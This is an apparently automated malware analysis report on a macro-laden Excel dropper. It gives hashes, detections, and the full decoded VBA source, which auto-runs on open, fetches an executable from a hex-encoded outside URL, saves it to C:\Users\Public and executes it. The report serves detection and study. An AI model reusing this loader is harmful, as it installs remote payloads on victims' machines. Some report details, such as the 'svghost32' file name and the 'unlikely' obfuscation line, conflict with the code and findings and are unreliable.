Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8ff565a71accea4b…

MALICIOUS

Office (OOXML)

91.7 KB First seen: 2020-09-15
MD5: 09d98aa143037c5843afe4af01f347f7 SHA-1: 6c83ae09ae19143098e725f56ee237f0ad8a2af5 SHA-256: 8ff565a71accea4b92754bade1ae9b4b9f84ca0e5a5e4ff3e02fb08c72640ff3
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains an obfuscated Workbook_Open subroutine that attempts to download a file from 'the embedded link' and save it as 'C:\Users\Public\svghost32.exe'. The script uses CreateObject to instantiate objects for HTTP requests and shell execution, indicating a clear intent to download and run a second-stage payload. The ClamAV detection further confirms the malicious nature of this dropper.

Heuristics 6

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    PLVNGJTUTDRGERSXZDAEWSDQBNVHF.write CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE = CreateObject(adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE = CreateObject(adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3372 bytes
SHA-256: db8765d9c8ed237cb6647859d4446b0ae7aee5cb000110115623f420bc521958
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
ZOKAGh67345OKCBGF_BCHGDRwesrasjiu"68 74 74 70 3A 2F 2F 67 61 79 74 61 6E 63 6F 6E 73 74 72 75 63 74 69 6F 6E 69 6E 63 2E 63 6F 6D 2F 6F 77 6E 2E 65 78 65"
End Sub
Public Sub ZOKAGh67345OKCBGF_BCHGDRwesrasjiu(Link As String)

Dim CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE

Dim PLVNGJTUTDRGERSXZDAEWSDQBNVHF

Dim PSVCBFGRYHSXNCMKHIUYIPLOAZDSFETR

Set CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE = CreateObject(adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Set PLVNGJTUTDRGERSXZDAEWSDQBNVHF = CreateObject(adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("41 44 4f 44 42 2e 53 74 72 65 61 6d"))

Set PSVCBFGRYHSXNCMKHIUYIPLOAZDSFETR = CreateObject(adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("57 53 63 72 69 70 74 2e 53 68 65 6c 6c "))

Url = adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf(Link)

urloasjdklweqad_babu = adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")

RUNCMD = adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")

CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE.Open "G" + "E" + "T", Url, False

CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE.send

PLVNGJTUTDRGERSXZDAEWSDQBNVHF.Type = 1

PLVNGJTUTDRGERSXZDAEWSDQBNVHF.Open

PLVNGJTUTDRGERSXZDAEWSDQBNVHF.write CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE.responseBody

PLVNGJTUTDRGERSXZDAEWSDQBNVHF.savetofile urloasjdklweqad_babu, 2

PSVCBFGRYHSXNCMKHIUYIPLOAZDSFETR.Run RUNCMD

End Sub

Public Function adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf(ByVal bvnfhyre546ysgtsgdhdbsfu09u24seadzsddhfbbydsbf As String) As String
Dim wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa   As String
Dim BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT As String
Dim ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD         As Long
    For ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD = 1 To Len(bvnfhyre546ysgtsgdhdbsfu09u24seadzsddhfbbydsbf) Step 3
        wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa = Chr$(Val("&H" & Mid$(bvnfhyre546ysgtsgdhdbsfu09u24seadzsddhfbbydsbf, ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD, 2)))
        BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT = BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT & wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa
    Next ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD
    adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf = BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT
End Function

Attribute VB_Name = "Sheet 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5632 bytes
SHA-256: b840b2a914a1f64a546c1ce7ee92c49c59e7f1e43ac65d13b88d15535b4120a5
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: unlikely

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